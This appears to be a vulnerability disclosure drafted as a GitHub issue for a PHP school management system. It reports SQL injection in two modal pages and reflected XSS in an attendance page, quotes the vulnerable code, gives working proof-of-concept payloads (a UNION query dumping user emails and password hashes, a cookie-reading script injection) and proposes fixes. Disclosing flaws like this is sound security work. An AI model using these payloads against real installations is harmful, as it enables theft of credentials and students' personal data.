[Security] SQL Injection in modal-student.php & modal-teacher.php, Reflected XSS in student-attendence.php

[234150476]

GitHub Issue: SQL Injection & Reflected XSS in School Management System

Title

[Security] SQL Injection in modal-student.php & modal-teacher.php, Reflected XSS in student-attendence.php

---

Issue Body (English - ready to submit)

Summary

Multiple critical vulnerabilities were discovered in the School Management System:

1. SQL Injection in owner_panel/modal-student.php via the id parameter
2. SQL Injection in owner_panel/modal-teacher.php via the id parameter
3. Reflected XSS in owner_panel/student-attendence.php via the id parameter

Affected Version

Latest commit on main branch (as of August 2026)

Vulnerability Details

1. SQL Injection — modal-student.php (CWE-89)

File: owner_panel/modal-student.php, Line 96

Vulnerable Code:

$sql="SELECT * FROM students where id = '{$_GET['id']}'";
$result=mysqli_query($conn,$sql);

The id GET parameter is directly concatenated into the SQL query without any sanitization or prepared statements.

Proof of Concept:

GET /owner_panel/modal-student.php?id=' UNION SELECT 1,2,version(),user(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- -

This extracts the MySQL version and current database user.

Full exploitation payload to dump user credentials:

GET /owner_panel/modal-student.php?id=' UNION SELECT 1,2,email,password_hash,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM users-- -

2. SQL Injection — modal-teacher.php (CWE-89)

File: owner_panel/modal-teacher.php, Line 98

Vulnerable Code:

$sql="SELECT * FROM teachers where id = '{$_GET['id']}'";
$result=mysqli_query($conn,$sql);

Same vulnerability pattern as above.

Proof of Concept:

GET /owner_panel/modal-teacher.php?id=' UNION SELECT 1,2,user(),version(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- -

3. Reflected XSS — student-attendence.php (CWE-79)

File: owner_panel/student-attendence.php, Lines 107-108

Vulnerable Code:

$id=$_GET['id'];
echo "<script>var id='{$id}';</script>";

The id parameter is directly embedded into a JavaScript context without encoding.

Proof of Concept:

GET /owner_panel/student-attendence.php?id=test'</script><script>alert(document.cookie)</script>

Impact

• SQL Injection: An authenticated attacker (any user with owner/admin panel access) can extract the entire database contents including user credentials, student personal information, and other sensitive data. Could also be used to modify or delete data.
• XSS: An attacker can craft a malicious URL that, when clicked by an authenticated admin, executes arbitrary JavaScript in their browser — potentially stealing session tokens or performing actions on their behalf.

Environment

• PHP 7.4 + MySQL 5.7
• Tested on latest commit

Suggested Fix

For SQL Injection: Use prepared statements with parameterized queries:

// Instead of:
$sql="SELECT * FROM students where id = '{$_GET['id']}'";
$result=mysqli_query($conn,$sql);

// Use:
$sql = "SELECT * FROM students WHERE id = ?";
$stmt = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param($stmt, "s", $_GET['id']);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);

For XSS: Use htmlspecialchars() or json_encode() for JavaScript context:

$id = htmlspecialchars($_GET['id'], ENT_QUOTES, 'UTF-8');
echo "<script>var id=" . json_encode($id) . ";</script>";

Timeline

• 2026-08-08: Vulnerability discovered
• 2026-08-08: Reported to vendor via GitHub Issue
• 2026-08-08: CVE requested via MITRE

References

• CWE-89: Improper Neutralization of Special Elements used in an SQL Command
• CWE-79: Improper Neutralization of Input During Web Page Generation
• OWASP Top 10 2021 - A03: Injection